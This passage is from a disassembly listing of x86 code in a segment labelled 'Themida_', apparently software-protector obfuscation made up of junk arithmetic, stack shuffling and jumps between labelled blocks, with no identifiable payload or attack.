or edi, 2A1E38D0h
xor edi, 0DA82E3F3h
mov ebx, edi
pop edi
push edx
mov edx, 63577F2Ah
add ebx, edx
pop edx
push ecx
jmp loc_552CE3
; ---------------------------------------------------------------------------
loc_555720: ; CODE XREF: Themida_:0055377Ej
pop ebx
jmp loc_55E5FE
; ---------------------------------------------------------------------------
loc_555726: ; CODE XREF: Themida_:005640BEj
push dword ptr [esp]
pop edx
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 7105h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 8D251B8h
jmp loc_561918
; ---------------------------------------------------------------------------
loc_555757: ; CODE XREF: Themida_:0055BF07j
push ecx
push 42D4h
mov [esp], ebx
sub esp, 4
jmp loc_563988
; ---------------------------------------------------------------------------
lodsd
sub eax, 320A6291h
sub eax, 4E4136C4h
sub eax, ebx
push edx
mov edx, 4E4136C4h
sub eax, 329576E3h
add eax, edx
add eax, 329576E3h
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_55EA5D
; ---------------------------------------------------------------------------
loc_5557A2: ; CODE XREF: Themida_:0055854Dj
not esi
inc esi
add esi, 0D6AF4F70h
sub eax, esi
pop esi
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_55E20F
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edx
push esp
jmp loc_55145F
; ---------------------------------------------------------------------------
loc_5557CA: ; CODE XREF: Themida_:00559E66j
sub eax, 66DF7AD7h
mov ecx, [esp]
push 3A64h
jmp loc_5602AC
; ---------------------------------------------------------------------------
loc_5557DC: ; CODE XREF: Themida_:00552381j
push dword ptr [esp]
pop eax
push esi
mov esi, esp
push eax
mov eax, 4
add esi, eax
jmp loc_558CDD
; ---------------------------------------------------------------------------
loc_5557F0: ; CODE XREF: Themida_:0055B46Bj
sub edx, 19A375FDh
pop edi
jmp loc_55857E
; ---------------------------------------------------------------------------
loc_5557FC: ; CODE XREF: Themida_:005591CDj
push edx
not dword ptr [esp]
pop edx
jmp loc_562770
; ---------------------------------------------------------------------------
loc_555806: ; CODE XREF: Themida_:0055B9A1j
mov ebx, [esp]
add esp, 4
sub al, 36h
jmp loc_55D4CB
; ---------------------------------------------------------------------------
loc_555816: ; CODE XREF: Themida_:0055432Dj
push 1E6Eh
jmp loc_5577C0
; ---------------------------------------------------------------------------
loc_555820: ; CODE XREF: Themida_:0055EF56j
mov ecx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_564934
; ---------------------------------------------------------------------------
loc_555836: ; CODE XREF: Themida_:00557295j
add ecx, edx
sub ecx, 90A3277h
jmp loc_557B46
; ---------------------------------------------------------------------------
loc_555843: ; CODE XREF: Themida_:0055F6D9j
push 398Fh
mov [esp], ebp
pop edx
pop ebp
jmp loc_55CE44
; ---------------------------------------------------------------------------
loc_555852: ; CODE XREF: Themida_:00556DEFj
pop esp
pop edx
push ebp
mov ebp, esp
jmp loc_562971
; ---------------------------------------------------------------------------
loc_55585C: ; CODE XREF: Themida_:00559B2Cj
sub eax, 1CFE0E48h
add eax, esi
push esi
mov esi, 1CFE0E48h
add eax, esi
pop esi
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 2CAB3C24h
push 0
sub dword ptr [esp], 15A97FD1h
sub [esp], ebx
add dword ptr [esp], 15A97FD1h
pop ebx
or ebx, 7FF4486Ch
xor ebx, 0FFF4CBF8h
jmp loc_55A525
; ---------------------------------------------------------------------------
loc_5558A3: ; CODE XREF: Themida_:005652E4j
add eax, 3560E91Ch
xor ebp, eax
jmp loc_5633ED
; ---------------------------------------------------------------------------
loc_5558AF: ; CODE XREF: Themida_:0055C4EEj
add edx, 29478719h
add edx, 7DFA6347h
neg edx
or edx, 5C1F2A92h
and edx, 617F4AF1h
xor edx, 8208D9CAh
jmp loc_563EE2
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_5517DC
; ---------------------------------------------------------------------------
loc_5558E5: ; CODE XREF: Themida_:00562B4Bj
push eax
mov eax, 4
jmp loc_559221
; ---------------------------------------------------------------------------
mov ax, [esp]
push 624Eh
jmp loc_552643
; ---------------------------------------------------------------------------
loc_5558FE: ; CODE XREF: Themida_:005607FAj
push ecx
jmp loc_556338
; ---------------------------------------------------------------------------
loc_555904: ; CODE XREF: Themida_:00551F69j
inc ebp
not ebp
xor ebp, 0B97BFF37h
sub ebx, ebp
pop ebp
add ebx, 58850431h
add ebx, edx
sub ebx, 58850431h
add ebx, 67C4228Ah
push dword ptr [esp]
pop edx
push edx
mov edx, esp
jmp loc_559BC4
; ---------------------------------------------------------------------------
loc_555930: ; CODE XREF: Themida_:0055C1C3j
push edi
push dword ptr [esp+4]
jmp loc_55C10D
; ---------------------------------------------------------------------------
loc_55593A: ; CODE XREF: Themida_:00562BBFj
add esp, 4
jmp loc_55EDCA
; ---------------------------------------------------------------------------
loc_555945: ; CODE XREF: Themida_:00554D2Ej
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_5597CC
; ---------------------------------------------------------------------------
loc_555955: ; CODE XREF: Themida_:00557074j
neg edi
sub edi, 96116DAh
shr edi, 8
neg edi
xor edi, 0FF5A785Bh
sub ecx, 214172CEh
add ecx, edi
jmp loc_550493
; ---------------------------------------------------------------------------
loc_555975: ; CODE XREF: Themida_:0055CD7Cj
mov [esp], bx
push ebp
mov bp, 96Fh
or bp, 476Eh
shl bp, 8
shl bp, 4
not bp
push ecx
push eax
jmp loc_55B887
; ---------------------------------------------------------------------------
loc_555995: ; CODE XREF: Themida_:0055F6B3j
push edx
mov edx, 2AF272D3h
sub esi, edx
pop edx
xor esi, 508DD028h
add edx, esi
mov esi, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_560DC1
; ---------------------------------------------------------------------------
lodsd
jmp loc_5513D7
; ---------------------------------------------------------------------------
loc_5559C3: ; CODE XREF: Themida_:0055BA5Dj
sub eax, 66D55C41h
and eax, 596B5A08h
jmp loc_55CBB0
; ---------------------------------------------------------------------------
loc_5559D2: ; CODE XREF: Themida_:00554C49j
add dword ptr [esp], 247C0FA7h
pop ecx
sub ecx, 247C0FA7h
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_55FBF1
; ---------------------------------------------------------------------------
loc_5559F1: ; CODE XREF: Themida_:00558C40j
push ebx
push 5479h
mov [esp], esp
push edx
push ecx
push 5B7D5140h
pop ecx
inc ecx
jmp loc_55DBEE
; ---------------------------------------------------------------------------
loc_555A08: ; CODE XREF: Themida_:0055E4D0j
pop ecx
inc ah
shl ah, 6
inc ah
sub ah, 29h
or ah, 0D4h
shr ah, 7
or ah, 5Eh
jmp loc_554588
; ---------------------------------------------------------------------------
loc_555A21: ; CODE XREF: Themida_:0055F257j
mov edi, 72EC3952h
sub esi, edi
pop edi
add esi, 53852197h
add esi, ebp
sub esi, 53852197h
push ebx
mov ebx, 3C8E097Ch
dec ebx
and ebx, 69955A1Eh
add ebx, 7B947831h
xor ebx, 67F377ECh
add ebx, 34CD661Fh
sub ebx, 85CD2474h
jmp loc_556F4E
; ---------------------------------------------------------------------------
loc_555A61: ; CODE XREF: Themida_:00562F52j
pop esp
push 7705h
mov [esp], esi
push esp
pop esi
add esi, 4
push ebx
mov ebx, 4
add esi, ebx
pop ebx
jmp loc_55D07B
; ---------------------------------------------------------------------------
loc_555A80: ; CODE XREF: Themida_:0055401Aj
pop edx
sub edi, esi
mov esi, [esp]
add esp, 4
add edi, edx
push ecx
mov ecx, 4E05314Ch
shl ecx, 6
and ecx, 20246196h
xor ecx, 6D9A22D5h
push edi
mov edi, 5F466078h
sub ecx, edi
mov edi, [esp]
add esp, 4
add edi, ecx
pop ecx
push esi
mov esi, 65AE00E9h
inc esi
sub esi, 1
jmp loc_5596F1
; ---------------------------------------------------------------------------
loc_555AC9: ; CODE XREF: Themida_:0055CCF0j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55B6B4
; ---------------------------------------------------------------------------
loc_555AD8: ; CODE XREF: Themida_:00552AA2j
sub [esp+8], eax
sub dword ptr [esp+8], 26A43B2Fh
pop eax
sub [esp+4], ecx
push edi
mov edi, 2534383Dh
sub dword ptr [esp+8], 7D533258h
add dword ptr [esp+8], 1A8F07B2h
add [esp+8], edi
jmp loc_55E406
; ---------------------------------------------------------------------------
loc_555B08: ; CODE XREF: Themida_:0055490Bj
dec ebp
or ebp, 3B3209D6h
xor ebp, 7F7A29FBh
jmp loc_564EB3
; ---------------------------------------------------------------------------
loc_555B1A: ; CODE XREF: Themida_:0055B492j
mov ch, 31h
mov dh, 5Fh
sub dh, 97h
jmp loc_55FD45
; ---------------------------------------------------------------------------
loc_555B26: ; CODE XREF: Themida_:00563460j
pop eax
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
mov ecx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
push 4811h
mov [esp], ebx
push edi
jmp loc_562070
; ---------------------------------------------------------------------------
loc_555B4F: ; CODE XREF: Themida_:00554994j
mov edi, 17A743D8h
mov ebx, 17A743DCh
sub ebx, edi
push dword ptr [esp]
jmp loc_55A17A
; ---------------------------------------------------------------------------
loc_555B63: ; CODE XREF: Themida_:00558857j
push ecx
mov ecx, 4
jmp loc_55DE40
; ---------------------------------------------------------------------------
loc_555B6E: ; CODE XREF: Themida_:005622FEj
push dword ptr [esp]
pop ebx
jmp loc_56479D
; ---------------------------------------------------------------------------
loc_555B77: ; CODE XREF: Themida_:0055856Fj
mov eax, 4
mov ebx, eax
pop eax
add esi, ebx
pop ebx
add esi, 4
xchg esi, [esp]
jmp loc_55D243
; ---------------------------------------------------------------------------
loc_555B90: ; CODE XREF: Themida_:00554F02j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
jmp loc_556E79
; ---------------------------------------------------------------------------
loc_555BAE: ; CODE XREF: Themida_:00563E81j
pop esi
jmp loc_565867
; ---------------------------------------------------------------------------
loc_555BB4: ; CODE XREF: Themida_:00552A84j
add dword ptr [esp+4], 65167483h
sub dword ptr [esp+4], 4E874BB2h
jmp loc_55CC69
; ---------------------------------------------------------------------------
loc_555BC9: ; CODE XREF: Themida_:0055AC40j
and cl, 7Ch
push small 3206h
mov [esp], ax
mov ah, 0Fh
add cl, 0B9h
sub cl, ah
sub cl, 0B9h
pop ax
xor al, cl
mov ecx, [esp]
push eax
jmp loc_551B82
; ---------------------------------------------------------------------------
loc_555BEB: ; CODE XREF: Themida_:005635F8j
push edi
jmp loc_55CE92
; ---------------------------------------------------------------------------
loc_555BF1: ; CODE XREF: Themida_:0055802Aj
mov eax, 4
sub edi, eax
pop eax
jmp loc_55169F
; ---------------------------------------------------------------------------
word_555BFE dw 2489h ; CODE XREF: Themida_:00563DC9j
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 8Bh
xor al, 24h
add esp, 4
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5589BA
; ---------------------------------------------------------------------------
loc_555C1F: ; CODE XREF: Themida_:00563803j
add dword ptr [esp], 4
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5647E2
; ---------------------------------------------------------------------------
loc_555C35: ; CODE XREF: Themida_:005606DFj
dec edx
xor edx, 54E27586h
sub edx, 3344433Dh
add esi, edx
pop edx
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_563C8D
; ---------------------------------------------------------------------------
loc_555C5C: ; CODE XREF: Themida_:0055612Cj
add esp, 4
shl edi, 6
push esi
mov esi, 14D38BA3h
jmp loc_55B67A
; ---------------------------------------------------------------------------
loc_555C6D: ; CODE XREF: Themida_:00560A02j
pop esp
sub edx, 4F21F3FEh
sub edi, 5D65E47h
push eax
jmp loc_55299E
; ---------------------------------------------------------------------------
loc_555C80: ; CODE XREF: Themida_:00559FE3j
push edi
mov edi, 7DAD1155h
add edi, 9C8D5332h
add eax, edi
pop edi
jmp loc_55E2A4
; ---------------------------------------------------------------------------
loc_555C94: ; CODE XREF: Themida_:00554989j
pop edx
jmp loc_561AD5
; ---------------------------------------------------------------------------
loc_555C9A: ; CODE XREF: Themida_:0055E853j
push ebp
mov ebp, 6EA104FFh
neg ebp
jmp loc_55320C
; ---------------------------------------------------------------------------
loc_555CA7: ; CODE XREF: Themida_:005646ACj
sub ecx, 7F195E2Ah
pop edx
sub esp, 4
mov [esp], edi
mov edi, 4
jmp loc_55B3EE
; ---------------------------------------------------------------------------
loc_555CC1: ; CODE XREF: Themida_:005608CEj
add ebx, esi
jmp loc_5543FC
; ---------------------------------------------------------------------------
loc_555CC8: ; CODE XREF: Themida_:00550446j
mov [esp], edx
push 719Fh
jmp loc_55EF16
; ---------------------------------------------------------------------------
loc_555CD5: ; CODE XREF: Themida_:0055157Dj
dec eax
or eax, 20B66178h
neg eax
add eax, 5EC0A969h
mov edx, eax
pop eax
neg edx
xor edx, 21884E75h
sub esi, edx
jmp loc_55B121
; ---------------------------------------------------------------------------
loc_555CF4: ; CODE XREF: Themida_:0055FA0Bj
mov [esp], ebx
push 764Bh
mov [esp], esi
mov esi, 1EDA3950h
mov ebx, esi
pop esi
mov ecx, 53054FE0h
xor ecx, ebx
mov ebx, [esp]
jmp loc_55F07C
; ---------------------------------------------------------------------------
loc_555D16: ; CODE XREF: Themida_:005541A3j
push dword ptr [edi+eax*4]
push 3707h
mov [esp], edi
jmp loc_55C76C
; ---------------------------------------------------------------------------
loc_555D26: ; CODE XREF: Themida_:00560D1Cj
pop ecx
xchg edi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_558EE5
; ---------------------------------------------------------------------------
loc_555D36: ; CODE XREF: Themida_:0055AF64j
push ebx
jmp loc_55968F
; ---------------------------------------------------------------------------
loc_555D3C: ; CODE XREF: Themida_:00550B33j
pop edx
pop ebx
xchg ecx, [esp]
mov esp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_554D74
; ---------------------------------------------------------------------------
loc_555D58: ; CODE XREF: Themida_:0055E556j
pop ebp
jmp loc_5600D8
; ---------------------------------------------------------------------------
loc_555D5E: ; CODE XREF: Themida_:00562CACj
mov ebp, 4
jmp loc_561E7D
; ---------------------------------------------------------------------------
loc_555D68: ; CODE XREF: Themida_:00559BD5j
mov eax, 2
jmp loc_564768
; ---------------------------------------------------------------------------
loc_555D72: ; CODE XREF: Themida_:0055888Aj
mov bx, [esp]
jmp loc_551E85
; ---------------------------------------------------------------------------
push ecx
sub esp, 4
mov [esp], edi
push esi
mov esi, 6D7F6FF5h
push eax
mov eax, 7CD63EAh
sub eax, 6DC76BE0h
jmp loc_55CE00
; ---------------------------------------------------------------------------
loc_555D9B: ; CODE XREF: Themida_:00552017j
push 0E3E799Bh
pop esi
push ebx
mov ebx, 0E3E7997h
sub esi, 27540099h
sub esi, ebx
add esi, 27540099h
jmp loc_55FEB5
; ---------------------------------------------------------------------------
loc_555DBA: ; CODE XREF: Themida_:00562036j
mov esi, [esp]
jmp loc_5524EA
; ---------------------------------------------------------------------------
loc_555DC2: ; CODE XREF: Themida_:00558A73j
mov ebp, esp
jmp loc_55AF9B
; ---------------------------------------------------------------------------
loc_555DC9: ; CODE XREF: Themida_:00562DCBj
sub edi, 618D153Bh
push edx
mov edx, 0EE264D9h
jmp loc_56470D
; ---------------------------------------------------------------------------
loc_555DDA: ; CODE XREF: Themida_:00561ED3j
pop edi
and ecx, 37405407h
jmp loc_558BDD
; ---------------------------------------------------------------------------
loc_555DE6: ; CODE XREF: Themida_:00564A1Aj
pop ebx
jmp loc_553487
; ---------------------------------------------------------------------------
loc_555DEC: ; CODE XREF: Themida_:005655A3j
push edx
mov esi, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
push ecx
jmp loc_55EC9B
; ---------------------------------------------------------------------------
loc_555E02: ; CODE XREF: Themida_:00563DD5j
add esp, 4
add esi, 0E5FDA294h
add ebp, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_555FC4
; ---------------------------------------------------------------------------
loc_555E21: ; CODE XREF: Themida_:00558E64j
push eax
mov eax, 0C430E45Fh
sub esi, 3FFD3B1Eh
add esi, eax
jmp loc_558426
; ---------------------------------------------------------------------------
loc_555E34: ; CODE XREF: Themida_:0055CB23j
sub esi, 407432E7h
push ebp
jmp loc_5562B3
; ---------------------------------------------------------------------------
loc_555E40: ; CODE XREF: Themida_:00562E9Fj
add esp, 4
add esp, 4
jmp loc_550782
; ---------------------------------------------------------------------------
loc_555E51: ; CODE XREF: Themida_:0055602Dj
sub ecx, 733B3FEAh
sub ecx, 7E2D6F49h
and ecx, 14A45D08h
neg ecx
jmp loc_56460F
; ---------------------------------------------------------------------------
loc_555E6A: ; CODE XREF: Themida_:0055B087j
mov dh, 85h
mov cl, 90h
sub cl, dh
pop edx
and cl, 22h
jmp loc_55AA3E
; ---------------------------------------------------------------------------
loc_555E79: ; CODE XREF: Themida_:005602C1j
pop esp
mov [esp], edi
push 51C8h
jmp loc_560FBE
; ---------------------------------------------------------------------------
loc_555E87: ; CODE XREF: Themida_:005530BDj
sub esp, 4
mov [esp], edi
push edx
push 30613473h
pop edx
push ecx
mov ecx, 51DF6702h
xor edx, ecx
mov ecx, [esp]
add esp, 4
xor edx, 24FE375Ah
xor edx, 684668F7h
jmp loc_55AEC1
; ---------------------------------------------------------------------------
loc_555EB3: ; CODE XREF: Themida_:00557D79j
mov ecx, 1E5C2DC3h
add ecx, 6DF821D7h
xor ecx, 0E03004EEh
sub edi, ecx
pop ecx
pop edx
add ebx, 247D35A7h
sub ebx, edi
sub ebx, 247D35A7h
pop edi
xor edx, eax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_555EDE: ; CODE XREF: Themida_:00562B42j
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
push 1Ch
push dword ptr [esp]
jmp loc_562B47
; ---------------------------------------------------------------------------
loc_555EFC: ; CODE XREF: Themida_:00555144j
or edx, 5978108Ch
jmp loc_55F5AB
; ---------------------------------------------------------------------------
loc_555F07: ; CODE XREF: Themida_:00551FADj
sub esp, 4
mov [esp], eax
push edx
mov dl, 0F0h
sub dl, 90h
mov ah, dl
jmp loc_5563F5
; ---------------------------------------------------------------------------
loc_555F1A: ; CODE XREF: Themida_:0055182Cj
xor al, bl
mov bx, [esp]
push 5B43h
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 2
xchg edx, [esp]
mov esp, [esp]
add bl, 70h
jmp loc_563C10
; ---------------------------------------------------------------------------
loc_555F41: ; CODE XREF: Themida_:00560265j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_55D6FC
; ---------------------------------------------------------------------------
loc_555F55: ; CODE XREF: Themida_:0055BF20j
pop ebp
or ecx, 3FB377D8h
push 4523h
jmp loc_556837
; ---------------------------------------------------------------------------
loc_555F66: ; CODE XREF: Themida_:00562E76j
mov ebp, [esp]
add esp, 4
jmp loc_551CA7
; ---------------------------------------------------------------------------
loc_555F71: ; CODE XREF: Themida_:005531BCj
pop ecx
sub esp, 4
jmp loc_56063D
; ---------------------------------------------------------------------------
loc_555F7D: ; CODE XREF: Themida_:0055C969j
xor ecx, 686D48E3h
and edx, ecx
jmp loc_551919
; ---------------------------------------------------------------------------
loc_555F8A: ; CODE XREF: Themida_:0055A2A5j
pop ebp
add ebx, 2566644Dh
sub ebx, edx
sub ebx, 2566644Dh
add ebx, 74594E5Dh
jmp loc_55C8E1
; ---------------------------------------------------------------------------
loc_555FA4: ; CODE XREF: Themida_:0056560Ej
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_56567A
; ---------------------------------------------------------------------------
loc_555FB0: ; CODE XREF: Themida_:0055BC56j
sub ebx, 5901242Eh
add ebx, ecx
jmp loc_559017
; ---------------------------------------------------------------------------
loc_555FBD: ; CODE XREF: Themida_:00565458j
mov ch, 0F2h
jmp loc_55FA10
; ---------------------------------------------------------------------------
loc_555FC4: ; CODE XREF: Themida_:00555E1Cj
add esp, 4
jmp loc_562690
; ---------------------------------------------------------------------------
loc_555FCF: ; CODE XREF: Themida_:0055617Aj
pop edi
push dword ptr [esp]
pop edi
add esp, 4
add edi, 4
sub esp, 4
mov [esp], ebp
sub esp, 4
jmp loc_557131
; ---------------------------------------------------------------------------
loc_555FEB: ; CODE XREF: Themida_:0055AB60j
pop eax
jmp loc_560DFA
; ---------------------------------------------------------------------------
loc_555FF1: ; CODE XREF: Themida_:005573E4j
mov [esp], edi
mov edi, 36642D4Bh
push esi
mov esi, 5F1D336Ah
dec esi
inc esi
xor esi, 14E15D98h
or edi, esi
pop esi
or edi, 3A9205B4h
sub edi, 7A675128h
xchg edx, edi
inc edx
xchg edx, edi
sub esp, 4
mov [esp], edx
push ecx
mov ecx, 4B287201h
xor ecx, 6D1A38CBh
jmp loc_555E51
; ---------------------------------------------------------------------------
loc_556032: ; CODE XREF: Themida_:00559539j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5523A6
; ---------------------------------------------------------------------------
loc_556046: ; CODE XREF: Themida_:0055DB6Aj
sub ecx, 618147DFh
add ecx, edi
add ecx, 618147DFh
mov edi, [esp]
add esp, 4
push eax
jmp loc_556B67
; ---------------------------------------------------------------------------
loc_556063: ; CODE XREF: Themida_:0055B223j
pop ecx
push ebx
push eax
jmp loc_565476
; ---------------------------------------------------------------------------
loc_55606B: ; CODE XREF: Themida_:0055D49Aj
xor esi, [esp]
pop esp
and [esp], al
pushf
jmp loc_554CB5
; ---------------------------------------------------------------------------
loc_556078: ; CODE XREF: Themida_:00557222j
sub dword ptr [esp+4], 67F5AB4h
add [esp+4], ebx
add dword ptr [esp+4], 67F5AB4h
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
push ebx
jmp loc_561DB0
; ---------------------------------------------------------------------------
loc_55609F: ; CODE XREF: Themida_:005525D6j
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], bx
jmp loc_55181E
; ---------------------------------------------------------------------------
loc_5560BD: ; CODE XREF: Themida_:00553AB9j
mov edi, 10A06A36h
mov eax, edi
pop edi
jmp loc_55EF6C
; ---------------------------------------------------------------------------
loc_5560CA: ; CODE XREF: Themida_:00563F2Bj
mov ebp, [esp]
jmp loc_559A04
; ---------------------------------------------------------------------------
loc_5560D2: ; CODE XREF: Themida_:00560451j
add ebp, 4
jmp loc_55C8C7
; ---------------------------------------------------------------------------
loc_5560DD: ; CODE XREF: Themida_:0055E9AAj
add esp, 4
mov cx, [esp]
add esp, 2
push dx
push ecx
jmp loc_56278C
; ---------------------------------------------------------------------------
loc_5560F2: ; CODE XREF: Themida_:0055C836j
pop esp
jmp loc_552DFD
; ---------------------------------------------------------------------------
loc_5560F8: ; CODE XREF: Themida_:00563AB9j
sub eax, 671903A3h
push edx
mov edx, 18DC249Dh
jmp loc_55A5EF
; ---------------------------------------------------------------------------
loc_556108: ; CODE XREF: Themida_:0055F72Aj
xchg ebp, edi
jmp loc_558F55
; ---------------------------------------------------------------------------
loc_55610F: ; CODE XREF: Themida_:00563164j
mov edx, 337A4C91h
neg edx
shl edx, 7
dec edx
add edx, 0C7ABAC6h
mov ebp, edx
pop edx
push eax
jmp loc_55E8AD
; ---------------------------------------------------------------------------
loc_556129: ; CODE XREF: Themida_:00552BD7j
mov ebp, [esp]
jmp loc_555C5C
; ---------------------------------------------------------------------------
loc_556131: ; CODE XREF: Themida_:005626B5j
sub edx, eax
jmp loc_552F43
; ---------------------------------------------------------------------------
loc_556138: ; CODE XREF: Themida_:00564661j
mov eax, 2C28507Ch
xor eax, 2C285078h
jmp loc_55CFAA
; ---------------------------------------------------------------------------
loc_556147: ; CODE XREF: Themida_:00554807j
xchg ebp, [esp]
jmp loc_550DC3
; ---------------------------------------------------------------------------
loc_55614F: ; CODE XREF: Themida_:0055D1CAj
pop ebp
mov eax, [esp]
add esp, 4
add eax, 4
sub eax, 4
jmp loc_56218E
; ---------------------------------------------------------------------------
loc_556165: ; CODE XREF: Themida_:0055AEF8j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55F02A
; ---------------------------------------------------------------------------
loc_556170: ; CODE XREF: Themida_:0055FE26j
xor edi, 6DD848FCh
add [esp+4], edi
jmp loc_555FCF
; ---------------------------------------------------------------------------
loc_55617F: ; CODE XREF: Themida_:005526E1j
pop ebx
sub ebx, 11961A10h
and ebx, 1D57530Ah
sub ebx, 1
add ebx, 0FFFFFFFFh
xor ebx, 7C2Eh
xor ebx, 42B130D8h
and ebx, 75FC16FCh
xor ebx, 4B635D03h
and ebx, 70384AF9h
push esi
mov esi, 584D1BA1h
shr esi, 4
add esi, 0EA7BE34Dh
sub ebx, 297A170Ch
add ebx, esi
push ecx
jmp loc_557C36
; ---------------------------------------------------------------------------
loc_5561D0: ; CODE XREF: Themida_:00551E5Ej
push edi
push ebp
push 0CFD64D1h
pop ebp
xor ebp, 3F325874h
dec ebp
push edx
mov edx, 25790844h
add ebp, edx
pop edx
jmp loc_5653B6
; ---------------------------------------------------------------------------
loc_5561ED: ; CODE XREF: Themida_:00559E88j
mov ch, [esp]
push esi
jmp loc_551FF7
; ---------------------------------------------------------------------------
loc_5561F6: ; CODE XREF: Themida_:0055C88Ej
add eax, edx
sub eax, 37EF157Bh
jmp loc_561175
; ---------------------------------------------------------------------------
loc_556202: ; CODE XREF: Themida_:00551E65j
pop edx
sub esi, 460E010Fh
sub esi, ebx
add esi, 460E010Fh
push ecx
mov ecx, 2AC5A6Eh
sub esi, ecx
pop ecx
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xor esi, 1FC76594h
push ebx
mov ebx, 8F43F98h
or ebx, 36266DDCh
push edx
mov edx, 26345C7Eh
jmp loc_554B15
; ---------------------------------------------------------------------------
loc_55624E: ; CODE XREF: Themida_:00556C80j
push 5519h
jmp loc_55E00D
; ---------------------------------------------------------------------------
loc_556258: ; CODE XREF: Themida_:005540B9j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_552516
; ---------------------------------------------------------------------------
loc_55626E: ; CODE XREF: Themida_:00558DEFj
pop esi
push ebp
mov ebp, edi
jmp loc_561491
; ---------------------------------------------------------------------------
loc_556277: ; CODE XREF: Themida_:00557F9Aj
mov cl, bl
pop ebx
push edx
mov dh, cl
mov bh, dh
pop edx
pop ecx
mov eax, [esp]
jmp loc_552335
; ---------------------------------------------------------------------------
loc_556289: ; CODE XREF: Themida_:0055AE09j
xchg esi, [esp]
push esi
push 6785h
mov [esp], edx
pop esi
pop edx
push edx
not dword ptr [esp]
pop edx
jmp loc_554C7D
; ---------------------------------------------------------------------------
loc_5562A1: ; CODE XREF: Themida_:00554CB0j
xor ecx, 19763537h
inc ecx
sub ecx, 0ED302B1Ah
jmp loc_5545AC
; ---------------------------------------------------------------------------
loc_5562B3: ; CODE XREF: Themida_:00555E3Bj
mov ebp, 5DCF440Eh
sub esp, 4
mov [esp], ebx
mov ebx, 25066786h
jmp loc_5627E7
; ---------------------------------------------------------------------------
loc_5562CB: ; CODE XREF: Themida_:0055E734j
mov ecx, 1D413690h
xor ecx, 7EF83D7Fh
push edi
mov edi, 0FFFFFFFFh
add ecx, edi
pop edi
sub ecx, 5D392067h
add ecx, 6433E3DBh
xor eax, ecx
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
push esi
mov esi, 47647D43h
neg esi
and esi, 1E6C7B78h
add esi, 0E7F7FDCCh
add ebp, esi
pop esi
push eax
mov eax, 4
add ebp, eax
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ebp, [esp]
pop esp
push ebx
push 2E10h
mov [esp], ebp
jmp loc_551321
; ---------------------------------------------------------------------------
loc_556338: ; CODE XREF: Themida_:005558FFj
mov ecx, 50264E07h
jmp loc_55CFFB
; ---------------------------------------------------------------------------
loc_556342: ; CODE XREF: Themida_:00558D24j
pop ebp
jmp loc_550420
; ---------------------------------------------------------------------------
loc_556348: ; CODE XREF: Themida_:00557513j
pop ecx
jmp loc_56453A
; ---------------------------------------------------------------------------
loc_55634E: ; CODE XREF: Themida_:00565638j
mov ecx, 64EC6245h
sub ebx, ecx
jmp loc_5633E4
; ---------------------------------------------------------------------------
loc_55635A: ; CODE XREF: Themida_:0056271Bj
mov [esp], edx
jmp loc_558185
; ---------------------------------------------------------------------------
loc_556362: ; CODE XREF: Themida_:00560C23j
add edi, 4
jmp loc_565106
; ---------------------------------------------------------------------------
loc_55636D: ; CODE XREF: Themida_:005549C2j
mov edi, ecx
pop ecx
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
push edi
mov edi, 3F6310AEh
mov eax, 3F6310B2h
sub eax, edi
jmp loc_5553A4
; ---------------------------------------------------------------------------
loc_556390: ; CODE XREF: Themida_:00562F30j
add eax, 19B86457h
jmp loc_563CA2
; ---------------------------------------------------------------------------
loc_55639A: ; CODE XREF: Themida_:0055533Dj
mov edi, 71301A17h
add edi, 785B7258h
push 5CE5h
mov [esp], ebx
mov ebx, 87D6CD33h
add edi, ebx
pop ebx
sub eax, edi
pop edi
push esi
jmp loc_552C6A
; ---------------------------------------------------------------------------
loc_5563BE: ; CODE XREF: Themida_:00558488j
mov ebp, 2
mov edx, ebp
pop ebp
sub ebx, 5B027088h
sub ebx, 37965D73h
add ebx, edx
jmp loc_560BD5
